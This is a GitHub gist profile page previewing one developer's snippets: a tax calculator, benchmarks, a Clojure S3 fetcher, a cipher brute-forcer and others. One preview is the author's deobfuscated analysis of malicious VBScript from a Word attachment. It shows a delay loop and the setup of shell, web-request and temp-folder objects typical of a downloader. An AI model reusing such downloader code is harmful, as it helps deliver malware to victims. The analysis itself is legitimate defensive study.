Skip to content

Instantly share code, notes, and snippets.

View liath's full-sized avatar

John Jones liath

  • Bugcrowd
  • Las Vegas, NV
View GitHub Profile
@liath
liath / keybase.md
Last active October 8, 2018 06:23
keybase.md

Keybase proof

I hereby claim:

  • I am liath on github.
  • I am liath (https://keybase.io/liath) on keybase.
  • I have a public key whose fingerprint is CA62 1A99 8BE7 3D04 1936 B0B3 F987 2246 B72F DAD4

To claim this, I am signing this object:

@liath
liath / fedtax.js
Created November 23, 2015 23:24
US Federal Income Tax calculator in javascript
// Weekly Employee Income Withholding Calculator by GitHub#Liath
// Based on IRS Circular E - http://www.irs.gov/pub/irs-pdf/p15.pdf
// Per the "Percentage Method"
var w = {
s : { // Single
0 : { p : 0, s : 0 },
44 : { p: 0.1, s: 0 },
222 : { p: 0.15, s: 17.8 },
764 : { p: 0.25, s: 99.1 },
1789 : { p: 0.28, s: 355.35 },
@liath
liath / functions.php
Created April 29, 2016 19:34
Make Modern Tribe Events Calendar sort Woo Tickets by their product order.
// Use this guide to order your tickets (products) in WooCommerce: http://www.endocreative.com/customize-product-sorting-woocommerce/
// Basically, you'll just Woocommerce->Products, click sort, then drag items around to get the order right.
// Per https://theeventscalendar.com/knowledgebase/changing-the-order-of-tickets/
// Add this just after the "ob_start();" line in your_theme/tribe-events/wootickets/tickets.php
// tribe_wootickets_sort($tickets);
// Add the rest of this to your functions.php
// Sort alphabetical
@liath
liath / ICG-algo.js
Last active March 20, 2020 23:47
Emulating C-style integer maths in javascript
/* eslint no-console:0, func-names:0 */
// JS ints are signed, which isn't useful here. Unfortunately,
// this means << can flip the sign bit and give a negative
// number which throws everything off. Luckily, we know how to
// handle this. The below is an unsigned leftshift implementation.
const ls = (input, shift) => ((input << shift) >>> 1) * 2;
// Integer casts that drop overflowing data (Just like grandma used to make)
const u8 = i => (i << 24) >>> 24;
@liath
liath / js-loop-perf-tests.js
Created December 21, 2016 21:16
JS Performance Test: for vs for..in vs Array.some
/* eslint max-len:0, no-console:0 */
const Benchmark = require('benchmark');
const id = require('uuid/v4');
const fileObject = {
filename: 'ApplesApplesApplesApplesApplesApples.txt',
};
const dupes = () => ([...Array(50000)].map((x) => ({
Filename: id(),
@liath
liath / s3-fetch-compressed.clj
Last active June 14, 2017 22:37
clojure - fetch a zipped or snappy object from AWS S3 and extract it on the fly
(ns s3-fetch-compressed
"Pulls file data from S3"
(:gen-class)
(:require [amazonica.aws.s3 :as s3]
[byte-streams :as bs]
[byte-transforms :as bt]
[clojure.string :as string])
(:import (java.util.zip ZipInputStream)))
; For reference: https://github.com/kubo/snzip/blob/master/hadoop-snappy-format.c
@liath
liath / deobfusticated-malware.vbs
Last active June 11, 2017 18:44
Malicious vbscript from a password protected Word docx someone sent me
' This took me a whole lunch break!
' This loop causes a few second delay, perhaps this was intentional?
CountTo=99165178
FOR nil=1 TO CountTo
i=i+1
NEXT
IF i=CountTo THEN
DIM Ws,WebReq,SuccessFlag,TempFolderPath
SET Ws=CreateObject("WScript.Shell") ' YM("6623052A3B4104480B3A541C0A","R1pfX", 13, 5)
@liath
liath / array-bench.js
Created July 19, 2017 22:04
Benchmark node.js array concatenation methods
const Benchmark = require('benchmark');
const _ = require('lodash');
const assert = require('assert');
const saved = [];
for (let i = 0; i < 400; i += 1) {
saved.push(i);
}
// Uncomment the asserts to verify that all tests are generating the same outputs
const goldStandard = saved.concat(saved);
@liath
liath / YAS3FS-PR-133-test.py
Created March 26, 2018 22:57
test case for danilop/yas3fs PR #133
from shutil import rmtree
from tempfile import mkdtemp
from threading import Thread
from time import sleep
from unittest import TestCase
from yas3fs import FSCache
class testPR133(TestCase):
"""Per https://github.com/danilop/yas3fs/pull/133 \
@liath
liath / pollux.js
Created August 25, 2018 00:33
Darknet 7: Krux's Silk Screen Challenge
/* This script will attempt to brute force any pollux ciphertext you hand it.
Most of the output is useless but for every ciphertext I could create on
[dcode](https://www.dcode.fr/pollux-cipher), it had the correct result in its
output somewhere. Usually towards the middle. Unfortunately it does not give
any useful results for the actual challenge. ¯\_(ツ)_/¯ */
/* eslint no-console:0, no-param-reassign:["error", { "props": false }] */
/* eslint-disable sort-keys */
const morse2char = {
'.-': 'a',